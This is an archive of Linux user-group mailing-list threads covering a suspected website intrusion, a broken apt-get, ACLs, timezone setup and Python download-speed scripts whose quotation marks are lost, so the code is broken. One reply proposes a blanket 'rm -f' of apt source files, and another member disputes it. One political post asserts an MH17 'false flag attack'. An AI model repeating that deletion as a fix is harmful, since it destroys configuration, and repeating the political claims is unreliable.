Re: [SLUG] How to deal with Hacker Activity ?
Thanks Rachel, The information you have provided is very helpful. I will look into the things you have mentioned in detail. It's a good start. On Tue, Jun 2, 2015 at 3:31 PM, gr0ve gr...@exemail.com.au wrote: You should be able to look in the mysql transaction log and line up any corresponding entries to timestamps and Also in the web/system log files as a very general response. Without more detail, it is still hard to say whether your problem is local or if someone is breaking the door down, but there will be a correlation between the events. rachel -- rachel polanskis IT Consulting, UNIX Macintosh Greater Western Sydney gr...@exemail.com.au On 2 Jun 2015, at 15:20, David Lyon david.lyon.preissh...@gmail.com wrote: If you think a malicious actor is deleting files, check also your database links for insertion attacks or other indications of attempted tampering. We are seeing MySQL table corruption as well in a 'Session' table. On Tue, Jun 2, 2015 at 3:01 PM, gr0ve gr...@exemail.com.au wrote: Hi David, Are you sure the .php files are being removed by a malicious actor? Are there log entries or other traces that indicate an exposure to an exploit? To remove files from a system would leave traces of activity, even remotely and subsequent tampering to cover it up is usually clumsily executed and easily identified. It would depend also on your specific php version but you could install suhosin to log any out of band activity. If you think a malicious actor is deleting files, check also your database links for insertion attacks or other indications of attempted tampering. I suspect an in house error such as a bad day for someone, or a rogue cron job, perhaps, or if you are exposed to the ext4 corruption bug on Linux, look there. Without more information, I always assume a more local problem first, as opposed to intrusion etc. -- rachel polanskis IT Consulting, UNIX Macintosh Greater Western Sydney gr...@exemail.com.au On 2 Jun 2015, at 13:57, David Lyon david.lyon.preissh...@gmail.com wrote: Hello all, One place I do work for is having trouble with Hacker activity. Let's face it, there are hacker's out there trying to take down systems. The specific issue I'm seeing is .php files vanishing from the web server. This is annoying and I'm wondering if any others are seeing anything like this. I'm also wondering what specific steps can be taken to minimise hacking problems. We don't have a big budget, a counter-hacking team or anything like that. To me it looks like the ISP may have been hacked in a similar way as GoDaddy was hacked in the US. Regards David -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] How to deal with Hacker Activity ?
If you think a malicious actor is deleting files, check also your database links for insertion attacks or other indications of attempted tampering. We are seeing MySQL table corruption as well in a 'Session' table. On Tue, Jun 2, 2015 at 3:01 PM, gr0ve gr...@exemail.com.au wrote: Hi David, Are you sure the .php files are being removed by a malicious actor? Are there log entries or other traces that indicate an exposure to an exploit? To remove files from a system would leave traces of activity, even remotely and subsequent tampering to cover it up is usually clumsily executed and easily identified. It would depend also on your specific php version but you could install suhosin to log any out of band activity. If you think a malicious actor is deleting files, check also your database links for insertion attacks or other indications of attempted tampering. I suspect an in house error such as a bad day for someone, or a rogue cron job, perhaps, or if you are exposed to the ext4 corruption bug on Linux, look there. Without more information, I always assume a more local problem first, as opposed to intrusion etc. -- rachel polanskis IT Consulting, UNIX Macintosh Greater Western Sydney gr...@exemail.com.au On 2 Jun 2015, at 13:57, David Lyon david.lyon.preissh...@gmail.com wrote: Hello all, One place I do work for is having trouble with Hacker activity. Let's face it, there are hacker's out there trying to take down systems. The specific issue I'm seeing is .php files vanishing from the web server. This is annoying and I'm wondering if any others are seeing anything like this. I'm also wondering what specific steps can be taken to minimise hacking problems. We don't have a big budget, a counter-hacking team or anything like that. To me it looks like the ISP may have been hacked in a similar way as GoDaddy was hacked in the US. Regards David -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] How to deal with Hacker Activity ?
Hello all, One place I do work for is having trouble with Hacker activity. Let's face it, there are hacker's out there trying to take down systems. The specific issue I'm seeing is .php files vanishing from the web server. This is annoying and I'm wondering if any others are seeing anything like this. I'm also wondering what specific steps can be taken to minimise hacking problems. We don't have a big budget, a counter-hacking team or anything like that. To me it looks like the ISP may have been hacked in a similar way as GoDaddy was hacked in the US. Regards David -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] How to deal with Hacker Activity ?
Files are definitely being deleted. Which log would I look in ? It's a common Linux cpanel hosting plan. On Tue, Jun 2, 2015 at 3:01 PM, gr0ve gr...@exemail.com.au wrote: Hi David, Are you sure the .php files are being removed by a malicious actor? Are there log entries or other traces that indicate an exposure to an exploit? To remove files from a system would leave traces of activity, even remotely and subsequent tampering to cover it up is usually clumsily executed and easily identified. It would depend also on your specific php version but you could install suhosin to log any out of band activity. If you think a malicious actor is deleting files, check also your database links for insertion attacks or other indications of attempted tampering. I suspect an in house error such as a bad day for someone, or a rogue cron job, perhaps, or if you are exposed to the ext4 corruption bug on Linux, look there. Without more information, I always assume a more local problem first, as opposed to intrusion etc. -- rachel polanskis IT Consulting, UNIX Macintosh Greater Western Sydney gr...@exemail.com.au On 2 Jun 2015, at 13:57, David Lyon david.lyon.preissh...@gmail.com wrote: Hello all, One place I do work for is having trouble with Hacker activity. Let's face it, there are hacker's out there trying to take down systems. The specific issue I'm seeing is .php files vanishing from the web server. This is annoying and I'm wondering if any others are seeing anything like this. I'm also wondering what specific steps can be taken to minimise hacking problems. We don't have a big budget, a counter-hacking team or anything like that. To me it looks like the ISP may have been hacked in a similar way as GoDaddy was hacked in the US. Regards David -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Fixing broken apt-get on Zentyal (Ubuntu)
Ah see this is how it got like this. Search how to fix type all those commands in without understanding any of it.. ok - doesn't work... move to the next web page... repeat.. Anyway, they don't want to pay for time to do a fresh install. It's almost a management decision to allow a reboot. Installing packages manually works, but no automatic download and install anymore. The problem was initially caused by a Zentyal specific library failing (suricata). Not worth fixing. Thanks .. :-) On Wed, Feb 11, 2015 at 2:55 PM, Amos Shapira amos.shap...@gmail.com wrote: I'd call these configuration files, and in any case something you don't want to just wipe out out right without a way to restore. Why do you propose to remove them anyway? apt-get complains about an internal error. Your original response is identical to http://askubuntu.com/a/337795, which someone reported to work for them without the rm -f. I'd say - try the sudo dpkg --configure -a by itself first. Back to the original question - google'ing the error comes up with threads which indicate post-upgrade troubles. Have you gone through a major upgrade recently? On 11 February 2015 at 14:21, scott redhowlingwol...@gmx.com wrote: On 02/10/2015 09:19 PM, Amos Shapira wrote: On 11 February 2015 at 11:39, scott redhowlingwol...@gmx.com wrote: On 02/10/2015 05:32 PM, David Lyon wrote: Hi, I have a working Zentyal server and everything is fine except that I need to deploy Python Imaging Library to it, and it doesn't work. apt-get is for some reason broken. I get the following error message with sudo apt-get install python2.7-dev or any command: E: Internal Error, No file name for libmount1 Try this: sudo rm -f /etc/apt/sources.list.d/* then sudo dpkg --configure -a Ouch Don't! These are configuration files. If you want to clear this directory then copy these files to another location and remove them from this directory. The sources.list.d directory is almost always PPA's the user has added. There are no configuration files in there. Scott -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- http://au.linkedin.com/in/gliderflyer -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Fixing broken apt-get on Zentyal (Ubuntu)
Hi, I have a working Zentyal server and everything is fine except that I need to deploy Python Imaging Library to it, and it doesn't work. apt-get is for some reason broken. I get the following error message with sudo apt-get install python2.7-dev or any command: E: Internal Error, No file name for libmount1 -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] How to filter audo on Linux for pumping to RGB-LED strips?
Hi, There's some RGB LED's at a Hackerspace: - http://forum.makehackvoid.com/t/led-uplighting-status/179 I asked a geek I know how to filter sound from linux to drive different colours in the LED's. He said That's easy - just use the following command: pamon --latency 100 | hexdump -C The command 'works'. I've no idea what it's doing. Driving the rgb-led's is easy, just need an rgb# to send. Help !! How do I extract the numbers that I want ? -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Weird traceroute problem.
I've just seen a possibly similar thing. The scenario was that the customer didn't pay their bill. Not sure - but most likely cause was the bill accidentally went into spam. After paying, the hosting company assured us everything would be up. Website was up but mail was down. It looked like a DNS issue. After a few days of frustration with email not working again, I rang them and showed them the ping results. It turned out that they had firewalled the servers for email and had to go through a manual process to correct the issue. So in the end, a phone call to the hosting company was needed. On Wed, Oct 29, 2014 at 7:54 AM, Ben donoh...@icafe.com.au wrote: Hi all, last week one of my clients businesses (hosted) email stopped working and they also could not get to their own website on the same address. Plugging in a phone as an access point the email started working as well as the website working fine. Also from other remote locations (like my house) email and website show up as normal. Nothing changed on their network that I know of. I'm the only tech they use and they don't have the knowledge to change anything. traceroute resolves their hosted email/web server address correctly, but after 30 tries of trying to get there gives up. Bypass firewall and same thing happens. Traceroute from the router resolves the correct IP but traceroute seems to go off into the wild blue younder and does not get to the destination IP. Went over the Cisco router with a fine tooth comb and nothing changed. All looks good. Hosts file on all the workstations is blank so nothing there... even though from the router traceroute resolves but goes nowhere. I'm stumped! DNS resolves correctly, yet they cannot get to the IP address. Could it be the website hacked and denying access from the clients address? (just thought of it so will look into that) Any ideas appreciated. Thanks, Ben -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Debugging Linux ACL's
I think I got it going from this page: http://stackoverflow.com/questions/580584/setting-default-permissions-for-newly-created-files-and-sub-directories-under-a Thanks for the answers On Mon, Sep 1, 2014 at 4:51 PM, Norman Gaywood ngayw...@une.edu.au wrote: On 1 September 2014 16:48, Norman Gaywood ngayw...@une.edu.au wrote: Is there anything in /etc/samba/smb.conf that might help? Also grep'ing through the logs in /var/log/samba/ might have a log of the connecting computer that uses the share. -- Norman Gaywood, Computer Systems Officer University of New England, Armidale, NSW 2351, Australia ngayw...@une.edu.auPhone: +61 (0)2 6773 2412 http://mcs.une.edu.au/~normFax: +61 (0)2 6773 3312 Please avoid sending me Word or Power Point attachments. See http://www.gnu.org/philosophy/no-word-attachments.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Debugging Linux ACL's
Hello, I have this, from executing the following command: /home/samba/shares/ivm_dbase/DBASE4 # file: home/samba/shares/ivm_dbase/DBASE4 # owner: root # group: Administrators user::rwx user:root:rwx user:admin_acct:rw- user:300:rwx user:302:rwx group::rwx group:Administrators:rwx group:302:rwx group:Staff:rwx group:MYOB:rwx mask::rwx other::--- default:user::rwx default:user:root:rwx default:user:300:rwx default:user:302:rwx default:group::--- default:group:Administrators:rwx default:group:302:rwx default:group:Staff:rwx default:group:MYOB:rwx default:mask::rwx default:other::--- My question is how do I find out who user:300 and user:302 is? -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Debugging Linux ACL's
That returns nothing. On Mon, Sep 1, 2014 at 3:49 PM, Norman Gaywood ngayw...@une.edu.au wrote: How about: getent passwd 300 On 1 September 2014 15:44, David Lyon david.lyon.preissh...@gmail.com wrote: Hello, I have this, from executing the following command: /home/samba/shares/ivm_dbase/DBASE4 # file: home/samba/shares/ivm_dbase/DBASE4 # owner: root # group: Administrators user::rwx user:root:rwx user:admin_acct:rw- user:300:rwx user:302:rwx group::rwx group:Administrators:rwx group:302:rwx group:Staff:rwx group:MYOB:rwx mask::rwx other::--- default:user::rwx default:user:root:rwx default:user:300:rwx default:user:302:rwx default:group::--- default:group:Administrators:rwx default:group:302:rwx default:group:Staff:rwx default:group:MYOB:rwx default:mask::rwx default:other::--- My question is how do I find out who user:300 and user:302 is? -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- Norman Gaywood, Computer Systems Officer University of New England, Armidale, NSW 2351, Australia ngayw...@une.edu.auPhone: +61 (0)2 6773 2412 http://mcs.une.edu.au/~normFax: +61 (0)2 6773 3312 Please avoid sending me Word or Power Point attachments. See http://www.gnu.org/philosophy/no-word-attachments.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] A call to arms!
Hi Patrick, There's really not that much difference between this government and the last one with respect to any technology development policies. If you think there is a big difference, then I welcome you to explain the differences. If you want to say what you think the policies should be that will bring back a knowledge of science and finance, then hey, do comment on that. Last time I was overseas, I didn't have any great problems. Nobody complained to me - but hey - it's a big world. On Sun, Jul 20, 2014 at 5:46 PM, Patrick Shirkey pshir...@boosthardware.com wrote: On Sat, July 19, 2014 10:15 pm, Jiřà Baum wrote: Hi, This months SLUG meeting is fast approaching and we don't have any talks lined up. So this is a call to arms . . . If anybody has a subject to talk about please SMS or call me (Robert on 0468 306 239) or Jiri (0413 183 117) or email the slug mailing list (slug@slug.org.au) Even if all you have is an idea of what you want to hear about post it anyway and maybe it will prompt someone to talk about the subject. How about Australia, Laughing Stock of the World. Someone could do a reenactment of Phony Tony and his gang of Cronies pretending to understand basic science and finances. Maybe the whole group could put together the pieces on the false flag attack of the MH17 to see where the puzzle fits together... Or you could skip to the point and run a mock trial of Tony Abbott the war criminal. His sentence could be condemned to live until all his childrens, grand children die of C02 and Methane poisoning and North Sydney is sucked into the rising sea. - If that's all too much how about a presentation on Hybrid Graphics laptops and how to get them to work properly with Bumblebee. -- Patrick Shirkey Boost Hardware Ltd -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Getting the correct time on Raspberry-Pi
It's Raspbian for the distro on the Raspberry-Pi The problem is that supervisor is a python Distro package and it's wired really deeply into the bowels of the system. It's initialisation takes place way before any of the shell or rc.local startup. I sorted it out in the end, the command needed was dpkg-reconfigure tzdata and that did something internally that made it work. On Fri, Jul 18, 2014 at 12:09 AM, Michael Chesterton che...@chesterton.id.au wrote: On 17/07/14 17:32, Amos Shapira wrote: Which distribution is it? The method to set system timezone depends on the answer to this question. And BTW - what you are asking about is setting the time ZONE. Setting the correct time is usually a matter left to NTP. On 17 July 2014 10:51, David Lyon david.lyon.preissh...@gmail.com wrote: I'm trying to get the correct datestamp in a logfile for Raspberry-Pi for a server task. The task runs under supervisord with root permissions. I modified /root/.profile and added TZ='Australia/Sydney'; export TZ However, in Python, the logging/task doesn't see dates with the correct timezone delta added. How can I get this to work? /root/.profile is only going to be read for root login shells, like sudo -i or su - you can set environment variables in supervisord config which will just affect the supervised program, or set it system wide which amos is going tell you how you'll have to check the docs, but I believe in your [program:x] section you add environment=TZ=Australia/Sydney -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Getting the correct time on Raspberry-Pi
I'm trying to get the correct datestamp in a logfile for Raspberry-Pi for a server task. The task runs under supervisord with root permissions. I modified /root/.profile and added TZ='Australia/Sydney'; export TZ However, in Python, the logging/task doesn't see dates with the correct timezone delta added. How can I get this to work? -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] MySQL maintenance
Possible hardware (Hard-disk) failure? While mysql will probably run forevever, the same assumption can't be made for the magnets in the hard-disks. Which can over time lose their workingness. On Sat, Jun 28, 2014 at 10:54 AM, li...@sbt.net.au wrote: on the new vm, in use about 6 month, couple of weeks ago joomla cms went yesterday noticed cacti not working / failed few weeks ago (perhaps at similar time to joomla, need to check that), again, traced to corrupt MySQL table fwiw, joomla failure was noticed 2nd June, cacti stopped around 31st May, so it's possible it was same time ? jtablesession::Store Failed DB function failed with error number 145 Table './dom.tld/jos_session' is marked as crashed and should be repaired SQL=INSERT INTO `jos_session` ( `session_id`,`time`,`username`,`gid`,`guest`,`client_id` ) VALUES ( '20o43hn493po7fhv2jp7pji2e2','1401675661','','0','1','0' ) Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 72 bytes) in /dom.tld/public_html/libraries/joomla/error/exception.php on line 117 -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] t/s old hardware failure
I've noticed quite a drop-off in Council-Cleanup PC's, around here anyway. Not say don't live-in-hope in finding a new friend, just that the days of all the PC's spending time together on the nature strip breathing the fresh air seems to have passed. It's a new generation being thrown out now. :-) Also, ebay and some other sites have some great specials for dual/quad core PC's that aren't the latest tech and the machines go for $60 or so just because they have windows-vista or something like that on them. That's what I use (and reinstall of course). Like for example this: www.ebay.com.au/itm/Hewlett-Packard-Compaq-dc7100-PN287AW-ABA-PC-Desktop-/121356833521 On Sun, Jun 8, 2014 at 9:52 AM, li...@sbt.net.au wrote: On Sat, June 7, 2014 7:58 pm, Amos Shapira wrote: I'd suspect environmental issues like temp, power brown/black out, dust accumulation. Lacking any more specifics I'd grep the logs for errors, but don't have much hope. Amos, thanks fwiw, to be more precise, first couple of reboots stopped after PCI device/IRQ list; I then told BIOS to update the ESCD setting, now got PCI listing followed by Updating ESCD...Success, but, still not going further couldn't see anything 'bad' in BIOS so finally tried 'fail safe', and, voila, boot OK then, set back to 'optimal', boots perfect (and, to add insult to injury, looking at cacti charts (which is what this machine is meant to be) I realized cacti hasn't charted any data for nearly 12 month... (pings to local devices, and the like)) I have an old (ancient?) P4 with 30mb+40mb IDE HDs, it's just used as a must wait for next council cleanup so can pick up something more modern, I think -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] t/s old hardware failure
And you might follow these old-timers: www.ebay.com.au/itm/Bulk-Lot-of-9-Windows-Desktop-PC-Workstations-HP-Compaq-Dell-Intel-AMD-/231246144371 On Sun, Jun 8, 2014 at 11:00 AM, David Lyon david.lyon.preissh...@gmail.com wrote: I've noticed quite a drop-off in Council-Cleanup PC's, around here anyway. Not say don't live-in-hope in finding a new friend, just that the days of all the PC's spending time together on the nature strip breathing the fresh air seems to have passed. It's a new generation being thrown out now. :-) Also, ebay and some other sites have some great specials for dual/quad core PC's that aren't the latest tech and the machines go for $60 or so just because they have windows-vista or something like that on them. That's what I use (and reinstall of course). Like for example this: www.ebay.com.au/itm/Hewlett-Packard-Compaq-dc7100-PN287AW-ABA-PC-Desktop-/121356833521 On Sun, Jun 8, 2014 at 9:52 AM, li...@sbt.net.au wrote: On Sat, June 7, 2014 7:58 pm, Amos Shapira wrote: I'd suspect environmental issues like temp, power brown/black out, dust accumulation. Lacking any more specifics I'd grep the logs for errors, but don't have much hope. Amos, thanks fwiw, to be more precise, first couple of reboots stopped after PCI device/IRQ list; I then told BIOS to update the ESCD setting, now got PCI listing followed by Updating ESCD...Success, but, still not going further couldn't see anything 'bad' in BIOS so finally tried 'fail safe', and, voila, boot OK then, set back to 'optimal', boots perfect (and, to add insult to injury, looking at cacti charts (which is what this machine is meant to be) I realized cacti hasn't charted any data for nearly 12 month... (pings to local devices, and the like)) I have an old (ancient?) P4 with 30mb+40mb IDE HDs, it's just used as a must wait for next council cleanup so can pick up something more modern, I think -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Light Linux Permissions help for constantly running processes and Samba Share access
Hi, I'm struggling getting some production programs to run on a new Linux system. These programs have been working for so many years and it seems that I've forgotten how to set them up. Maybe it's different on this server-distro. Not sure. It's Zentyal - ubuntu based. village@server-ivm:~$ uname -a Linux server-ivm 3.8.0-39-generic #58~precise1-Ubuntu SMP Fri May 2 21:33:17 UTC 2014 i686 i686 i386 GNU/Linux There are some python programs that auto-run and always run: village@server-ivm:~$ ls -la servertasks total 100 drwxrwxr-x 2 village village 4096 May 23 12:00 . drwxr-xr-x 28 village village 4096 May 23 12:05 .. -rwxrw-r-- 1 village village 6207 May 23 12:00 directory_scantxttopdf.py -rwxrw-r-- 1 village village 569 May 23 11:28 runforever_pdfconvertor.py -rwxrw-r-- 1 village village 2826 May 23 11:26 scannerfilecleaner.py -rwxrw-r-- 1 village village 39822 May 23 11:28 spooler.py The programs that need to be accessed are in /home/samba/shares/ivm_dbase: village@server-ivm:~$ ls /home/samba/shares/ivm_dbase ls: cannot access /home/samba/shares/ivm_dbase: Permission denied Yes, I can sudo ls and that will work. But I don't want to. That just makes all the files root and no other users can read/write them. I really want the programs to access the data in the samba shares. village@server-ivm:~$ sudo ls -la /home/samba/shares total 16 drwxrwx---+ 3 root __USERS__ 4096 Apr 23 13:53 . drwxrwx---+ 4 root __USERS__ 4096 Apr 23 13:47 .. drwxrws---+ 21 dlyon __USERS__ 4096 May 23 15:20 ivm_dbase What's a good way to set this up? Regards David -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Download speed
ok, I patched those links in. Forgive my code posting, last time. I will
answer offlist if I get any further requests.
It has some command line options to specify the size to download, where to
put the logfile, and the duration to wait before downloads.
$ python x_download_test.py 1M -i 5
-Python-
# /usr/bin/python
import time, optparse, urllib2, csv
if __name__ == __main__:
dlurls = {1M : http://mirror.internode.on.net/pub/test/1meg.test;,
10M : http://mirror.internode.on.net/pub/test/10meg.test;,
50M : http://mirror.internode.on.net/pub/test/50meg.test;,
100M : http://mirror.internode.on.net/pub/test/100meg.test
,
1G : http://mirror.internode.on.net/pub/test/1000meg.test
,
5G : http://mirror.internode.on.net/pub/test/5000meg.test
}
print(Network Download speed logger. Freeware Licence)
usage = usage: %prog [options] arg1 arg2
parser = optparse.OptionParser(usage=usage)
parser.add_option(-i, --interval, action=store, type=float,
dest=interval, default=10, help=Interval in minutes between downloads)
parser.add_option(-l, --logfile, action=store,
dest=logfilename, default=download_times.csv, help=Interval in minutes
between downloads)
(options, args) = parser.parse_args()
download_size = 10M
if len(args) 0:
download_size = args[0]
download_interval = options.interval * 60
download_url = dlurls[download_size]
# setup a logfile
f = open(options.logfilename, 'a')
writer = csv.writer(f)
while (1):
print(Downloading %s % download_size)
# Initial Time reading
start = time.clock()
mp3file = urllib2.urlopen(download_url)
mp3file.read()
elapsed = time.clock() - start
writer.writerow([time.strftime(%c),download_size,elapsed,])
print(Pausing for %f minute(s) % int(download_interval/60))
time.sleep(download_interval) # Time in seconds.
On Thu, May 22, 2014 at 1:40 PM, Rick Welykochy r...@vitendo.ca wrote:
David wrote:
On 22/05/14 08:38, Rick Welykochy wrote:
Edwin Humphries (text) wrote:
Can anyone suggest a way of testing the download speed of my NBN fibre
connection every hour and logging it? I have an ostensibly 100Mbps
connection, but the speed seems to vary enormously, so an automated process
would be good.
Download a file of known length, say 1000 MB, from a server
whose speed you can trust every hour. Time and log each download.
Also verify the contents of the downloaded file with an md5 or sha
digest.
This can be automated with an scp inside a simple (shell) script.
Westnet used to have a file available for exactly this purpose - I dare
say other ISP's do too. Perhaps you could ask your own ISP.
This looks promising:
http://mirror.internode.on.net/pub/test/
I found this via a web search for test download file residing on an isp
australia.
cheers
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Re: [SLUG] Internet at 500m
Have they seen products like this? http://www.aliexpress.com/item/150Mbps-high-power-outdoor-wi-fi-wireless-outdoor-wireless-access-point-cpe-equipment/1489776809.html On Fri, May 23, 2014 at 2:57 AM, Rick Welykochy r...@vitendo.ca wrote: Hi Sluggers, I have a friend living in near jungle conditions in a small town in the Philipines that wishes to span about 400m - 500m from an Internet connection to his house in the bush. Ethernet seems limited to 100m. Wifi seems limited to about 100m - 200m. Any suggestions for bridging this gap? thanks, rickw -- Rick Welykochy || Vitendo Consulting If consumers even know there's a DRM, what it is, and how it works, we've already failed. -- Peter Lee, Disney Executive -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Download speed
Maybe something like this (python code):
# /usr/bin/python
import time
import urllib2
if __name__ == __main__:
while (1):
# Initial Time reading
start = time.clock()
mp3file = urllib2.urlopen(http://www.slug.org.au/event/91;)
output = open('test.mp3','wb')
output.write(mp3file.read())
output.close()
print time.clock() - start
time.sleep(3600) # Time in seconds.
On Thu, May 22, 2014 at 9:34 AM, David da...@kenpro.com.au wrote:
On 22/05/14 08:38, Rick Welykochy wrote:
Edwin Humphries (text) wrote:
Can anyone suggest a way of testing the download speed of my NBN fibre
connection every hour and logging it? I have an ostensibly 100Mbps
connection, but the speed seems to vary enormously, so an automated process
would be good.
Download a file of known length, say 1000 MB, from a server
whose speed you can trust every hour. Time and log each download.
Also verify the contents of the downloaded file with an md5 or sha
digest.
This can be automated with an scp inside a simple (shell) script.
Westnet used to have a file available for exactly this purpose - I dare
say other ISP's do too. Perhaps you could ask your own ISP.
cheers
rickw
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Re: [SLUG] WiFi problem.
First thing to check is that the Wifi button is set to on. Sometimes it's very easy to accidently bump them to off without even realising. On Thu, May 22, 2014 at 2:18 PM, William Bennett wrbennet...@gmail.comwrote: I'm sure someone has seen this before: there doesn't seem to be a problem posted that nobody knows. I have a Toshiba Satellite A660, running Ubuntu 14.04 In the past, I've been able to :-- 1. tether my smartphone to the laptop 2. go to a coffeeshop that has a WiFi and pick it up with the laptop. Now I can't. I can click on the “fan” and whilst it will open, nothing WiFi registers. Not evne when the smartphone swears it's emulating a portable hotspot. Took the laptop to the local computer shop. Was asked whether I'd had Windows on the laptop in the past. Answer yes. Well, since the switch is a Window switch, it might be a vagrant piece of Window leftover that turned it off. This sounds like Olde Stuffe. Nevertheless, I can't pick up any WiFi. And Fn-F8 doesn't turn on anything. I'm reluctant to believe this is a Toshiba peculiarity (as I've also been told). I've had it working with earlier versions of Ubuntu. Any suggestions will be gratefully acted upon. William Bennett. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Compilation issues with a C++ Internet-of-Things Event-Framework
Hi, I'm having some problems with compile errors. I have an Event-Framework and the programs look like this: - https://github.com/clixx-io/clixx.io/blob/master/examples_eventframework/timer.cpp When I compile, I get these errors: dlyon@dlyon-HP8000SFF:~/IoT/madstuff$ make CC madstuff.o madstuff.cpp: In member function ‘void App::setup()’: madstuff.cpp:33:45: warning: converting from ‘void (App::*)()’ to ‘void (*)()’ [-Wpmf-conversions] addTimerEvent(2, (void (*)()) App::timerevent); I know they are only warnings, but I'm doing a talk in Japan in a few weeks and no warnings/complaints would be nicer. The IoT Event-System is working. Code is here: https://github.com/clixx-io/clixx.io/tree/master/eventframework Thanks Regards David -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Compilation issues with a C++ Internet-of-Things Event-Framework
Using callbacks is surely the easiest way of handling timer events I would have thought. In C this never was a problem but for some reason it's become more difficult to do than before in c++. I don't exactly see why it would be terrible to abstract a lot of hardware functions but the challenge is getting them from the C style operating system type notations into higher level C++ with object orientation. The other alternative is to have hundreds/thousands of lines of code with multiple entry points (interrupts/signals) which can equally be terrible to debug. On 26/04/2014 11:17 am, Jiří Baum j...@baum.com.au wrote: Hi, David Lyon: When I compile, I get these errors: dlyon@dlyon-HP8000SFF:~/IoT/madstuff$ make CC madstuff.o madstuff.cpp: In member function ‘void App::setup()’: madstuff.cpp:33:45: warning: converting from ‘void (App::*)()’ to ‘void (*)()’ [-Wpmf-conversions] addTimerEvent(2, (void (*)()) App::timerevent); A quick Google suggests that converting a pointer to a bound method to a function pointer is a terrible, non-standard thing to do... They're about evenly split between suggesting you don't do that, and suggesting you use -Wno-pmf-conversions to suppress the warning. The thing is, a pointer to a bound method needs to contain not just the function pointer but also information about the this pointer and about the virtual table; converting it to a plain pointer throws all that information away. Only gcc will even let you do that (and still call the function afterwards). So, if there's an easy way to avoid it, don't do that. Otherwise, if you're happy with being gcc-specific, you can suppress the warning. Cheers Jiri -- Jiří Baum j...@baum.com.au Sabik Software Solutions Pty Ltd 0413 183 117 http://www.baum.com.au/sabik -- SLUG - Sydney Linux User's Group 